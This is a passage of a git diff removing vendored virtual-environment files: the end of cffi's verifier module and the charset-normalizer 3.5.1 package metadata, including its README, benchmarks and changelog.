_get_so_suffixes()[0] - self.tmpdir = tmpdir or _caller_dir_pycache() - self.sourcefilename = os.path.join(self.tmpdir, modulename + source_extension) - self.modulefilename = os.path.join(self.tmpdir, modulename + suffix) - self.ext_package = ext_package - self._has_source = False - self._has_module = False - - def write_source(self, file=None): - """Write the C source code. It is produced in 'self.sourcefilename', - which can be tweaked beforehand.""" - with self.ffi._lock: - if self._has_source and file is None: - raise VerificationError( - "source code already written") - self._write_source(file) - - def compile_module(self): - """Write the C source code (if not done already) and compile it. - This produces a dynamic link library in 'self.modulefilename'.""" - with self.ffi._lock: - if self._has_module: - raise VerificationError("module already compiled") - if not self._has_source: - self._write_source() - self._compile_module() - - def load_library(self): - """Get a C module from this Verifier instance. - Returns an instance of a FFILibrary class that behaves like the - objects returned by ffi.dlopen(), but that delegates all - operations to the C module. If necessary, the C code is written - and compiled first. - """ - with self.ffi._lock: - if not self._has_module: - self._locate_module() - if not self._has_module: - if not self._has_source: - self._write_source() - self._compile_module() - return self._load_library() - - def get_module_name(self): - basename = os.path.basename(self.modulefilename) - # kill both the .so extension and the other .'s, as introduced - # by Python 3: 'basename.cpython-33m.so' - basename = basename.split('.', 1)[0] - # and the _d added in Python 2 debug builds --- but try to be - # conservative and not kill a legitimate _d - if basename.endswith('_d') and hasattr(sys, 'gettotalrefcount'): - basename = basename[:-2] - return basename - - def get_extension(self): - if not self._has_source: - with self.ffi._lock: - if not self._has_source: - self._write_source() - sourcename = ffiplatform.maybe_relative_path(self.sourcefilename) - modname = self.get_module_name() - return ffiplatform.get_extension(sourcename, modname, **self.kwds) - - def generates_python_module(self): - return self._vengine._gen_python_module - - def make_relative_to(self, kwds, relative_to): - if relative_to and os.path.dirname(relative_to): - dirname = os.path.dirname(relative_to) - kwds = kwds.copy() - for key in ffiplatform.LIST_OF_FILE_NAMES: - if key in kwds: - lst = kwds[key] - if not isinstance(lst, (list, tuple)): - raise TypeError("keyword '%s' should be a list or tuple" - % (key,)) - lst = [os.path.join(dirname, fn) for fn in lst] - kwds[key] = lst - return kwds - - # ---------- - - def _locate_module(self): - if not os.path.isfile(self.modulefilename): - if self.ext_package: - try: - pkg = __import__(self.ext_package, None, None, ['__doc__']) - except ImportError: - return # cannot import the package itself, give up - # (e.g. it might be called differently before installation) - path = pkg.__path__ - else: - path = None - filename = self._vengine.find_module(self.get_module_name(), path, - _get_so_suffixes()) - if filename is None: - return - self.modulefilename = filename - self._vengine.collect_types() - self._has_module = True - - def _write_source_to(self, file): - self._vengine._f = file - try: - self._vengine.write_source_to_f() - finally: - del self._vengine._f - - def _write_source(self, file=None): - if file is not None: - self._write_source_to(file) - else: - # Write our source file to an in memory file. - f = NativeIO() - self._write_source_to(f) - source_data = f.getvalue() - - # Determine if this matches the current file - if os.path.exists(self.sourcefilename): - with open(self.sourcefilename, "r") as fp: - needs_written = fp.read() != source_data - else: - needs_written = True - - # Actually write the file out if it doesn't match - if needs_written: - _ensure_dir(self.sourcefilename) - with open(self.sourcefilename, "w") as fp: - fp.write(source_data) - - # Set this flag - self._has_source = True - - def _compile_module(self): - # compile this C source - tmpdir = os.path.dirname(self.sourcefilename) - outputfilename = ffiplatform.compile(tmpdir, self.get_extension()) - try: - same = ffiplatform.samefile(outputfilename, self.modulefilename) - except OSError: - same = False - if not same: - _ensure_dir(self.modulefilename) - shutil.move(outputfilename, self.modulefilename) - self._has_module = True - - def _load_library(self): - assert self._has_module - if self.flags is not None: - return self._vengine.load_library(self.flags) - else: - return self._vengine.load_library() - -# ____________________________________________________________ - -_FORCE_GENERIC_ENGINE = False # for tests - -def _locate_engine_class(ffi, force_generic_engine): - if _FORCE_GENERIC_ENGINE: - force_generic_engine = True - if not force_generic_engine: - if '__pypy__' in sys.builtin_module_names: - force_generic_engine = True - else: - try: - import _cffi_backend - except ImportError: - _cffi_backend = '?' - if ffi._backend is not _cffi_backend: - force_generic_engine = True - if force_generic_engine: - from . import vengine_gen - return vengine_gen.VGenericEngine - else: - from . import vengine_cpy - return vengine_cpy.VCPythonEngine - -# ____________________________________________________________ - -_TMPDIR = None - -def _caller_dir_pycache(): - if _TMPDIR: - return _TMPDIR - result = os.environ.get('CFFI_TMPDIR') - if result: - return result - filename = sys._getframe(2).f_code.co_filename - return os.path.abspath(os.path.join(os.path.dirname(filename), - '__pycache__')) - -def set_tmpdir(dirname): - """Set the temporary directory to use instead of __pycache__.""" - global _TMPDIR - _TMPDIR = dirname - -def cleanup_tmpdir(tmpdir=None, keep_so=False): - """Clean up the temporary directory by removing all files in it - called `_cffi_*.{c,so}` as well as the `build` subdirectory.""" - tmpdir = tmpdir or _caller_dir_pycache() - try: - filelist = os.listdir(tmpdir) - except OSError: - return - if keep_so: - suffix = '.c' # only remove .c files - else: - suffix = _get_so_suffixes()[0].lower() - for fn in filelist: - if fn.lower().startswith('_cffi_') and ( - fn.lower().endswith(suffix) or fn.lower().endswith('.c')): - try: - os.unlink(os.path.join(tmpdir, fn)) - except OSError: - pass - clean_dir = [os.path.join(tmpdir, 'build')] - for dir in clean_dir: - try: - for fn in os.listdir(dir): - fn = os.path.join(dir, fn) - if os.path.isdir(fn): - clean_dir.append(fn) - else: - os.unlink(fn) - except OSError: - pass - -def _get_so_suffixes(): - suffixes = _extension_suffixes() - if not suffixes: - # bah, no C_EXTENSION available. Occurs on pypy without cpyext - if sys.platform == 'win32': - suffixes = [".pyd"] - else: - suffixes = [".so"] - - return suffixes - -def _ensure_dir(filename): - dirname = os.path.dirname(filename) - if dirname and not os.path.isdir(dirname): - os.makedirs(dirname) diff --git a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/INSTALLER b/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/METADATA b/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/METADATA deleted file mode 100644 index ae3829582553a0da23efdae4faed4095901ace86..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/METADATA +++ /dev/null @@ -1,878 +0,0 @@ -Metadata-Version: 2.4 -Name: charset-normalizer -Version: 3.5.1 -Summary: The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet. -Author-email: "Ahmed R. TAHRI" -Maintainer-email: "Ahmed R. TAHRI" -License: MIT -Project-URL: Changelog, https://github.com/jawah/charset_normalizer/blob/master/CHANGELOG.md -Project-URL: Documentation, https://charset-normalizer.readthedocs.io/ -Project-URL: Code, https://github.com/jawah/charset_normalizer -Project-URL: Issue tracker, https://github.com/jawah/charset_normalizer/issues -Keywords: encoding,charset,charset-detector,detector,normalization,unicode,chardet,detect -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Programming Language :: Python :: 3.15 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Programming Language :: Python :: Free Threading :: 4 - Resilient -Classifier: Environment :: WebAssembly -Classifier: Environment :: WebAssembly :: Emscripten -Classifier: Topic :: Text Processing :: Linguistic -Classifier: Topic :: Utilities -Classifier: Typing :: Typed -Requires-Python: >=3.7 -Description-Content-Type: text/markdown -License-File: LICENSE -Provides-Extra: unicode-backport -Dynamic: license-file - -

Charset Detection, for Everyone 👋

- -

- The Real First Universal Charset Detector
- - - - - Download Count Total - - - - -

-

- Featured Packages
- - Static Badge - - - Static Badge - -

-

- In other language (unofficial port - by the community)
- - Static Badge - -

- -> A library that helps you read text from an unknown charset encoding.
Motivated by `chardet`, -> I'm trying to resolve the issue by taking a new approach. -> All IANA character set names for which the Python core library provides codecs are supported. -> You can also register your own set of codecs, and yes, it would work as-is. - -This project offers you an alternative to **Universal Charset Encoding Detector**, also known as **Chardet**. - -| Feature | [Chardet](https://github.com/chardet/chardet) | Charset Normalizer | [cChardet](https://github.com/PyYoshi/cChardet) | -|--------------------------------------------------|:---------------------------------------------:|:-----------------------------------------------------------------------------------------------:|:-----------------------------------------------:| -| `Fast` | ✅ | ✅ | ✅ | -| `Fast on large content (uncapped)` | ❌ | ✅ | ❌ | -| `Universal`[^1] | ❌ | ✅ | ❌ | -| `Reliable` **without** distinguishable standards | ✅ | ✅ | ✅ | -| `Reliable` **with** distinguishable standards | ✅ | ✅ | ✅ | -| `License` | _0BSD_[^2]
_disputed_ | MIT | MPL-1.1
_restrictive_ | -| `Native Python` | ✅ | ✅ | ❌ | -| `Detect spoken language` | ✅ | ✅ | N/A | -| `UnicodeDecodeError Safety` | ❌ | ✅ | ❌ | -| `Whl Size` | ~1200 kB | ~250 kB | ~200 kB | -| `Supported Encoding` | 99 | [99](https://charset-normalizer.readthedocs.io/en/latest/user/support.html#supported-encodings) | 40 | -| `Can register custom encoding` | ❌ | ✅ | ❌ | - -

-Reading Normalized TextCat Reading Text -

- -[^1]: They are clearly using specific code for a specific encoding even if covering most of them. -[^2]: Chardet 7 replaced the historical LGPL-licensed implementation with an AI-assisted rewrite, initially distributed under MIT and later under 0BSD. The original author [contests](https://github.com/chardet/chardet/issues/327) that the rewrite was sufficiently independent to permit relicensing, while Chardet's maintainer maintains that it is a new, non-derivative implementation. A separate [discussion](https://github.com/chardet/chardet/issues/334) raises questions about copyright ownership and licensing of substantially AI-generated code. Neither unresolved question is presented here as settled law. The concern is broader than whether ideas, APIs, or observable behavior are copyrightable. Independent implementations are essential to open-source competition. The ethical question is whether a maintainer with extensive access to a reciprocal project's source, architecture, tests, behavior, community, and reputation can use an LLM to recreate the same product under the same package identity, then treat the generated implementation as a provenance reset that extinguishes the project's reciprocal licensing obligations and contributor expectations. Responsible AI use in open source requires more than producing text that differs from the historical source: it requires transparent provenance, respect for project lineage, meaningful attribution, accountable human review, and consideration for the social agreement under which earlier contributors participated. If automated rewriting becomes an accepted way to retain a project's name, users, and accumulated reputation while discarding its reciprocal license, it risks weakening the trust and incentives on which FOSS depends. Early Chardet 7.x development and evaluation also incorporated files originating from charset-normalizer's test corpus. Results measured on data that influenced implementation or model development are not independent validation. Charset-normalizer has been MIT-licensed since inception and originates from a continuous human-designed, encoding-agnostic project history. AI assistance may be used, but every proposed change remains subject to maintainer review, adjustment, testing, and accountability; AI is an engineering aid, not a mechanism for erasing provenance or project lineage. An attentive eye will see that some aspects lead by us are magically found in Chardet. - -## ⚡ Performance - -This package offer similar performances in general against Chardet. Expect 10X faster with large contents when you uncap Chardet max_bytes default assumption. - -| Package | Accuracy | Mean per file (ms) | -|--------------------|:--------:|:---------------------:| -| Chardet | 99 % | 0.4 ms[^4] 0.6 ms[^5] | -| charset-normalizer | 98 % | 0.4 ms | -| cchardet[^3] | 94 % | 0.6 ms | - -_Well, sub-ms detectors made them extremely discrete in the overall runtime. -Competitors can still win individual measurements, especially capped Chardet on -small-file median latency. But when performance, accuracy, binary handling, validation -strength, portability, and maintainability are considered together, charset-normalizer -is the stronger package._ - -| Package | 99th percentile | 95th percentile | 50th percentile | -|--------------------|:--------------------:|:---------------:|:---------------:| -| Chardet | 2.5 ms[^4] 4.2ms[^5] | 1 ms | 0.2 ms | -| charset-normalizer | 2.7 ms | 1.5 ms | 0.2 ms | -| cchardet | 2.7 ms | 2 ms | 0.3 ms | - -_updated as of August 2026 using CPython 3.12, Charset-Normalizer 3.5.1, and Chardet 7.5 inside a (libc Debian) container. The host CPU is a 13th gen Intel mobile CPU. We'll no longer update regularly those since the sub-ms changes aren't meaningful to anyone anymore._ - -> Stats are generated using 477 files using default parameters. More details on used files, see GHA workflows. -> And yes, these results might change at any time. The dataset can be updated to include more files. -> The actual delays heavily depends on your CPU capabilities. The factors should remain the same. -> Chardet claims on his documentation to have a greater accuracy than us based on the dataset they trained Chardet on(...) -> Whereas charset-normalizer don't train on anything, our solution is based on a completely different algorithm, still heuristic -> through, it does not need weights across every encoding tables. - -[^3]: cchardet main repository/package was discontinued. we're relying on a known fork namely faust-cchardet. the idea remained the same: uchardet bindings. -[^4]: Chardet does not feed the complete body but rather a limited part of it, because the algorithm doesn't scale properly with larger samples. Feeding the whole content slow things to 0.8 ms (from the 0.5ms avg). While we do not skip content in order for us to guarantee a usable result each and every time. We attempted to feed a 272 MiB UTF-8 (Reddit archive on comments/posts) file in Chardet uncapped and waited 3.4s while Charset-Normalizer took 0.3s, this is a 10-fold speedup. -[^5]: Uncapped max_bytes (no truncating of content) - -## ✨ Installation - -Using pip: - -```sh -pip install charset-normalizer -U -``` - -## 🚀 Basic Usage - -### CLI -This package comes with a CLI. - -``` -usage: normalizer [-h] [-v] [-a] [-n] [-m] [-r] [-f] [-t THRESHOLD] - file [file ...] - -The Real First Universal Charset Detector. Discover originating encoding used -on text file. Normalize text to unicode. - -positional arguments: - files File(s) to be analysed - -optional arguments: - -h, --help show this help message and exit - -v, --verbose Display complementary information about file if any. - Stdout will contain logs about the detection process. - -a, --with-alternative - Output complementary possibilities if any. Top-level - JSON WILL be a list. - -n, --normalize Permit to normalize input file. If not set, program - does not write anything. - -m, --minimal Only output the charset detected to STDOUT. Disabling - JSON output. - -r, --replace Replace file when trying to normalize it instead of - creating a new one. - -f, --force Replace file without asking if you are sure, use this - flag with caution. - -t THRESHOLD, --threshold THRESHOLD - Define a custom maximum amount of chaos allowed in - decoded content. 0. <= chaos <= 1. - --version Show version information and exit. -``` - -```bash -normalizer ./data/sample.1.fr.srt -``` - -or - -```bash -python -m charset_normalizer ./data/sample.1.fr.srt -``` - -🎉 Since version 1.4.0 the CLI produce easily usable stdout result in JSON format. - -```json -{ - "path": "/home/default/projects/charset_normalizer/data/sample.1.fr.srt", - "encoding": "cp1252", - "encoding_aliases": [ - "1252", - "windows_1252" - ], - "alternative_encodings": [ - "cp1254", - "cp1256", - "cp1258", - "iso8859_14", - "iso8859_15", - "iso8859_16", - "iso8859_3", - "iso8859_9", - "latin_1", - "mbcs" - ], - "language": "French", - "alphabets": [ - "Basic Latin", - "Latin-1 Supplement" - ], - "has_sig_or_bom": false, - "chaos": 0.149, - "coherence": 97.152, - "unicode_path": null, - "is_preferred": true -} -``` - -### Python -*Just print out normalized text* -```python -from charset_normalizer import from_path - -results = from_path('./my_subtitle.srt') - -print(str(results.best())) -``` - -*Upgrade your code without effort* -```python -from charset_normalizer import detect -``` - -The above code will behave the same as **chardet**. We ensure that we offer the best (reasonable) BC result possible. - -See the docs for advanced usage : [readthedocs.io](https://charset-normalizer.readthedocs.io/en/latest/) - -## 😇 Why - -When I started using Chardet, I noticed that it was not suited to my expectations, and I wanted to propose a -reliable alternative using a completely different method. Also! I never back down on a good challenge! - -I **don't care** about the **originating charset** encoding, because **two different tables** can -produce **two identical rendered string.** -What I want is to get readable text, the best I can. - -In a way, **I'm brute forcing text decoding.** How cool is that ? 😎 - -Don't confuse package **ftfy** with charset-normalizer or chardet. ftfy goal is to repair Unicode string whereas charset-normalizer to convert raw file in unknown encoding to unicode. - -## 🍰 How - - - Discard all charset encoding table that could not fit the binary content. - - Measure noise, or the mess once opened (by chunks) with a corresponding charset encoding. - - Extract matches with the lowest mess detected. - - Additionally, we measure coherence / probe for a language. - -**Wait a minute**, what is noise/mess and coherence according to **YOU ?** - -*Noise :* I opened hundred of text files, **written by humans**, with the wrong encoding table. **I observed**, then -**I established** some ground rules about **what is obvious** when **it seems like** a mess (aka. defining noise in rendered text). - I know that my interpretation of what is noise is probably incomplete, feel free to contribute in order to - improve or rewrite it. - -*Coherence :* For each language there is on earth, we have computed ranked letter appearance occurrences (the best we can). So I thought -that intel is worth something here. So I use those records against decoded text to check if I can detect intelligent design. - -## ⚡ Known limitations - - - Language detection is unreliable when text contains two or more languages sharing identical letters. (eg. HTML (english tags) + Turkish content (Sharing Latin characters)) - - Every charset detector heavily depends on sufficient content. In common cases, do not bother run detection on very tiny content. - -## ⚠️ About Python EOLs - -**If you are running:** - -- Python >=2.7,<3.5: Unsupported -- Python 3.5: charset-normalizer < 2.1 -- Python 3.6: charset-normalizer < 3.1 - -Upgrade your Python interpreter as soon as possible. - -## 👤 Contributing - -Contributions, issues and feature requests are very much welcome.
-Feel free to check [issues page](https://github.com/ousret/charset_normalizer/issues) if you want to contribute. - -## 📝 License - -Copyright © [Ahmed TAHRI @Ousret](https://github.com/Ousret).
-This project is [MIT](https://github.com/Ousret/charset_normalizer/blob/master/LICENSE) licensed. - -Characters frequencies used in this project © 2012 [Denny Vrandečić](http://simia.net/letters/) - -## 💼 For Enterprise - -Professional support for charset-normalizer is available as part of the [Tidelift -Subscription][1]. Tidelift gives software development teams a single source for -purchasing and maintaining their software, with professional grade assurances -from the experts who know it best, while seamlessly integrating with existing -tools. - -[1]: https://tidelift.com/subscription/pkg/pypi-charset-normalizer?utm_source=pypi-charset-normalizer&utm_medium=readme - -[![OpenSSF Best Practices](https://www.bestpractices.dev/projects/7297/badge)](https://www.bestpractices.dev/projects/7297) - -# Changelog -All notable changes to charset-normalizer will be documented in this file. This project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - -## [3.5.1](https://github.com/Ousret/charset_normalizer/compare/3.5.0...3.5.1) (2026-08-15) - -### Changed -- Raised upper bound of setuptools to v84 (#794) -- Cache performance access optimization for our CharInfo struct (prebuilt only). - -### Fixed -- No longer decoding large content when the noise detector output give a high entropy. - Only impacted large content input >1M bytes. - -## [3.5.0](https://github.com/Ousret/charset_normalizer/compare/3.4.9...3.5.0) (2026-08-12) - -### Added -- Explicit support for Python 3.15 - -### Fixed -- Comparing a CharsetMatch to a non-alias encoding strings (#773) -- Return 0.0 CharsetMatch.multi_byte_usage for empty payloads instead of crashing (#774) -- A file with both a charset declaration and BOM/SIG did not verify first the BOM/SIG charset. -- iso2022* cases misdetected due to a flaw in our multibyte chunking logic. - -### Changed -- Replaced the optional mypyc build with Cython extensions while retaining the - pure Python fallback. The previous engine (mypyc) started to hit rough limit around - the optimization of our noise/coherence detector while Cython allows us to - steer the engine toward the right generated optimized sources. - This change SHOULD not impact bundler (e.g. Pyinstaller) as the module are - immediately discoverable (i.e. not hidden import like mypyc did). - Moreover, a long wished distribution is the abi3 wheels, this will allow us - to no longer rush each year when a new Python interpreter is released. - We still distribute the interpreter specific wheels for faster performance. -- Applied micro-optimization on several utils. -- CharsetMatches no longer sort on each match insertion. - -### Misc -- Removed an old performance optimization attempt in apy.py (success_fast_tracked+payload_result_cache). - -## [3.4.9](https://github.com/Ousret/charset_normalizer/compare/3.4.8...3.4.9) (2026-07-07) - -### Fixed -- Regression in our fallback path leading to a decode error. (#771) - We've yanked 3.4.8 as a result of that bug. - -## [3.4.8](https://github.com/Ousret/charset_normalizer/compare/3.4.7...3.4.8) (2026-07-06) - -### Fixed -- Wall import time due to cascade codec imports for our multibyte first sort of iana supported codecs (#742) -- Unnecessary json import at runtime (#753) -- Inverse capitalization not seen by noise detector (#731) - -### Changed -- No longer holding a global cache for our noise / coherence measurements. Relax RSS memory usage. -- Micro-optimizations in our noise / coherence measurements. -- No longer using regex search by default for our preemptive charset mark algorithm. -- Raised upperbound of setuptools to v83. -- Raised upperbound of mypy(c) to v2.1. - -### Removed -- Redundant UTF7 BOM marker (#730) - -## [3.4.7](https://github.com/Ousret/charset_normalizer/compare/3.4.6...3.4.7) (2026-04-02) - -### Changed -- Pre-built optimized version using mypy[c] v1.20. -- Relax `setuptools` constraint to `setuptools>=68,<82.1`. - -### Fixed -- Correctly remove SIG remnant in utf-7 decoded string. (#718) (#716) - -## [3.4.6](https://github.com/Ousret/charset_normalizer/compare/3.4.5...3.4.6) (2026-03-15) - -### Changed -- Flattened the logic in `charset_normalizer.md` for higher performance. Removed `eligible(..)` and `feed(...)` - in favor of `feed_info(...)`. -- Raised upper bound for mypy[c] to 1.20, for our optimized version. -- Updated `UNICODE_RANGES_COMBINED` using Unicode blocks v17. - -### Fixed -- Edge case where noise difference between two candidates can be almost insignificant. (#672) -- CLI `--normalize` writing to wrong path when passing multiple files in. (#702) - -### Misc -- Freethreaded pre-built wheels now shipped in PyPI starting with 3.14t. (#616) - -## [3.4.5](https://github.com/Ousret/charset_normalizer/compare/3.4.4...3.4.5) (2026-03-06) - -### Changed -- Update `setuptools` constraint to `setuptools>=68,<=82`. -- Raised upper bound of mypyc for the optional pre-built extension to v1.19.1 - -### Fixed -- Add explicit link to lib math in our optimized build. (#692) -- Logger level not restored correctly for empty byte sequences. (#701) -- TypeError when passing bytearray to from_bytes. (#703) - -### Misc -- Applied safe micro-optimizations in both our noise detector and language detector. -- Rewrote the `query_yes_no` function (inside CLI) to avoid using ambiguous licensed code. -- Added `cd.py` submodule into mypyc optional compilation to reduce further the performance impact. - -## [3.4.4](https://github.com/Ousret/charset_normalizer/compare/3.4.2...3.4.4) (2025-10-13) - -### Changed -- Bound `setuptools` to a specific constraint `setuptools>=68,<=81`. -- Raised upper bound of mypyc for the optional pre-built extension to v1.18.2 - -### Removed -- `setuptools-scm` as a build dependency. - -### Misc -- Enforced hashes in `dev-requirements.txt` and created `ci-requirements.txt` for security purposes. -- Additional pre-built wheels for riscv64, s390x, and armv7l architectures. -- Restore ` multiple.intoto.jsonl` in GitHub releases in addition to individual attestation file per wheel. - -## [3.4.3](https://github.com/Ousret/charset_normalizer/compare/3.4.2...3.4.3) (2025-08-09) - -### Changed -- mypy(c) is no longer a required dependency at build time if `CHARSET_NORMALIZER_USE_MYPYC` isn't set to `1`. (#595) (#583) -- automatically lower confidence on small bytes samples that are not Unicode in `detect` output legacy function. (#391) - -### Added -- Custom build backend to overcome inability to mark mypy as an optional dependency in the build phase. -- Support for Python 3.14 - -### Fixed -- sdist archive contained useless directories. -- automatically fallback on valid UTF-16 or UTF-32 even if the md says it's noisy. (#633) - -### Misc -- SBOM are automatically published to the relevant GitHub release to comply with regulatory changes. - Each published wheel comes with its SBOM. We choose CycloneDX as the format. -- Prebuilt optimized wheel are no longer distributed by default for CPython 3.7 due to a change in cibuildwheel. - -## [3.4.2](https://github.com/Ousret/charset_normalizer/compare/3.4.1...3.4.2) (2025-05-02) - -### Fixed -- Addressed the DeprecationWarning in our CLI regarding `argparse.FileType` by backporting the target class into the package. (#591) -- Improved the overall reliability of the detector with CJK Ideographs. (#605) (#587) - -### Changed -- Optional mypyc compilation upgraded to version 1.15 for Python >= 3.8 - -## [3.4.1](https://github.com/Ousret/charset_normalizer/compare/3.4.0...3.4.1) (2024-12-24) - -### Changed -- Project metadata are now stored using `pyproject.toml` instead of `setup.cfg` using setuptools as the build backend. -- Enforce annotation delayed loading for a simpler and consistent types in the project. -- Optional mypyc compilation upgraded to version 1.14 for Python >= 3.8 - -### Added -- pre-commit configuration. -- noxfile. - -### Removed -- `build-requirements.txt` as per using `pyproject.toml` native build configuration. -- `bin/integration.py` and `bin/serve.py` in favor of downstream integration test (see noxfile). -- `setup.cfg` in favor of `pyproject.toml` metadata configuration. -- Unused `utils.range_scan` function. - -### Fixed -- Converting content to Unicode bytes may insert `utf_8` instead of preferred `utf-8`. (#572) -- Deprecation warning "'count' is passed as positional argument" when converting to Unicode bytes on Python 3.13+ - -## [3.4.0](https://github.com/Ousret/charset_normalizer/compare/3.3.2...3.4.0) (2024-10-08) - -### Added -- Argument `--no-preemptive` in the CLI to prevent the detector to search for hints. -- Support for Python 3.13 (#512) - -### Fixed -- Relax the TypeError exception thrown when trying to compare a CharsetMatch with anything else than a CharsetMatch. -- Improved the general reliability of the detector based on user feedbacks. (#520) (#509) (#498) (#407) (#537) -- Declared charset in content (preemptive detection) not changed when converting to utf-8 bytes. (#381) - -## [3.3.2](https://github.com/Ousret/charset_normalizer/compare/3.3.1...3.3.2) (2023-10-31) - -### Fixed -- Unintentional memory usage regression when using large payload that match several encoding (#376) -- Regression on some detection case showcased in the documentation (#371) - -### Added -- Noise (md) probe that identify malformed arabic representation due to the presence of letters in isolated form (credit to my wife) - -## [3.3.1](https://github.com/Ousret/charset_normalizer/compare/3.3.0...3.3.1) (2023-10-22) - -### Changed -- Optional mypyc compilation upgraded to version 1.6.1 for Python >= 3.8 -- Improved the general detection reliability based on reports from the community - -## [3.3.0](https://github.com/Ousret/charset_normalizer/compare/3.2.0...3.3.0) (2023-09-30) - -### Added -- Allow to execute the CLI (e.g. normalizer) through `python -m charset_normalizer.cli` or `python -m charset_normalizer` -- Support for 9 forgotten encoding that are supported by Python but unlisted in `encoding.aliases` as they have no alias (#323) - -### Removed -- (internal) Redundant utils.is_ascii function and unused function is_private_use_only -- (internal) charset_normalizer.assets is moved inside charset_normalizer.constant - -### Changed -- (internal) Unicode code blocks in constants are updated using the latest v15.0.0 definition to improve detection -- Optional mypyc compilation upgraded to version 1.5.1 for Python >= 3.8 - -### Fixed -- Unable to properly sort CharsetMatch when both chaos/noise and coherence were close due to an unreachable condition in \_\_lt\_\_ (#350) - -## [3.2.0](https://github.com/Ousret/charset_normalizer/compare/3.1.0...3.2.0) (2023-06-07) - -### Changed -- Typehint for function `from_path` no longer enforce `PathLike` as its first argument -- Minor improvement over the global detection reliability - -### Added -- Introduce function `is_binary` that relies on main capabilities, and optimized to detect binaries -- Propagate `enable_fallback` argument throughout `from_bytes`, `from_path`, and `from_fp` that allow a deeper control over the detection (default True) -- Explicit support for Python 3.12 - -### Fixed -- Edge case detection failure where a file would contain 'very-long' camel cased word (Issue #289) - -## [3.1.0](https://github.com/Ousret/charset_normalizer/compare/3.0.1...3.1.0) (2023-03-06) - -### Added -- Argument `should_rename_legacy` for legacy function `detect` and disregard any new arguments without errors (PR #262) - -### Removed -- Support for Python 3.6 (PR #260) - -### Changed -- Optional speedup provided by mypy/c 1.0.1 - -## [3.0.1](https://github.com/Ousret/charset_normalizer/compare/3.0.0...3.0.1) (2022-11-18) - -### Fixed -- Multi-bytes cutter/chunk generator did not always cut correctly (PR #233) - -### Changed -- Speedup provided by mypy/c 0.990 on Python >= 3.7 - -## [3.0.0](https://github.com/Ousret/charset_normalizer/compare/2.1.1...3.0.0) (2022-10-20) - -### Added -- Extend the capability of explain=True when cp_isolation contains at most two entries (min one), will log in details of the Mess-detector results -- Support for alternative language frequency set in charset_normalizer.assets.FREQUENCIES -- Add parameter `language_threshold` in `from_bytes`, `from_path` and `from_fp` to adjust the minimum expected coherence ratio -- `normalizer --version` now specify if current version provide extra speedup (meaning mypyc compilation whl) - -### Changed -- Build with static metadata using 'build' frontend -- Make the language detection stricter -- Optional: Module `md.py` can be compiled using Mypyc to provide an extra speedup up to 4x faster than v2.1 - -### Fixed -- CLI with opt --normalize fail when using full path for files -- TooManyAccentuatedPlugin induce false positive on the mess detection when too few alpha character have been fed to it -- Sphinx warnings when generating the documentation - -### Removed -- Coherence detector no longer return 'Simple English' instead return 'English' -- Coherence detector no longer return 'Classical Chinese' instead return 'Chinese' -- Breaking: Method `first()` and `best()` from CharsetMatch -- UTF-7 will no longer appear as "detected" without a recognized SIG/mark (is unreliable/conflict with ASCII) -- Breaking: Class aliases CharsetDetector, CharsetDoctor, CharsetNormalizerMatch and CharsetNormalizerMatches -- Breaking: Top-level function `normalize` -- Breaking: Properties `chaos_secondary_pass`, `coherence_non_latin` and `w_counter` from CharsetMatch -- Support for the backport `unicodedata2` - -## [3.0.0rc1](https://github.com/Ousret/charset_normalizer/compare/3.0.0b2...3.0.0rc1) (2022-10-18) - -### Added -- Extend the capability of explain=True when cp_isolation contains at most two entries (min one), will log in details of the Mess-detector results -- Support for alternative language frequency set in charset_normalizer.assets.FREQUENCIES -- Add parameter `language_threshold` in `from_bytes`, `from_path` and `from_fp` to adjust the minimum expected coherence ratio - -### Changed -- Build with static metadata using 'build' frontend -- Make the language detection stricter - -### Fixed -- CLI with opt --normalize fail when using full path for files -- TooManyAccentuatedPlugin induce false positive on the mess detection when too few alpha character have been fed to it - -### Removed -- Coherence detector no longer return 'Simple English' instead return 'English' -- Coherence detector no longer return 'Classical Chinese' instead return 'Chinese' - -## [3.0.0b2](https://github.com/Ousret/charset_normalizer/compare/3.0.0b1...3.0.0b2) (2022-08-21) - -### Added -- `normalizer --version` now specify if current version provide extra speedup (meaning mypyc compilation whl) - -### Removed -- Breaking: Method `first()` and `best()` from CharsetMatch -- UTF-7 will no longer appear as "detected" without a recognized SIG/mark (is unreliable/conflict with ASCII) - -### Fixed -- Sphinx warnings when generating the documentation - -## [3.0.0b1](https://github.com/Ousret/charset_normalizer/compare/2.1.0...3.0.0b1) (2022-08-15) - -### Changed -- Optional: Module `md.py` can be compiled using Mypyc to provide an extra speedup up to 4x faster than v2.1 - -### Removed -- Breaking: Class aliases CharsetDetector, CharsetDoctor, CharsetNormalizerMatch and CharsetNormalizerMatches -- Breaking: Top-level function `normalize` -- Breaking: Properties `chaos_secondary_pass`, `coherence_non_latin` and `w_counter` from CharsetMatch -- Support for the backport `unicodedata2` - -## [2.1.1](https://github.com/Ousret/charset_normalizer/compare/2.1.0...2.1.1) (2022-08-19) - -### Deprecated -- Function `normalize` scheduled for removal in 3.0 - -### Changed -- Removed useless call to decode in fn is_unprintable (#206) - -### Fixed -- Third-party library (i18n xgettext) crashing not recognizing 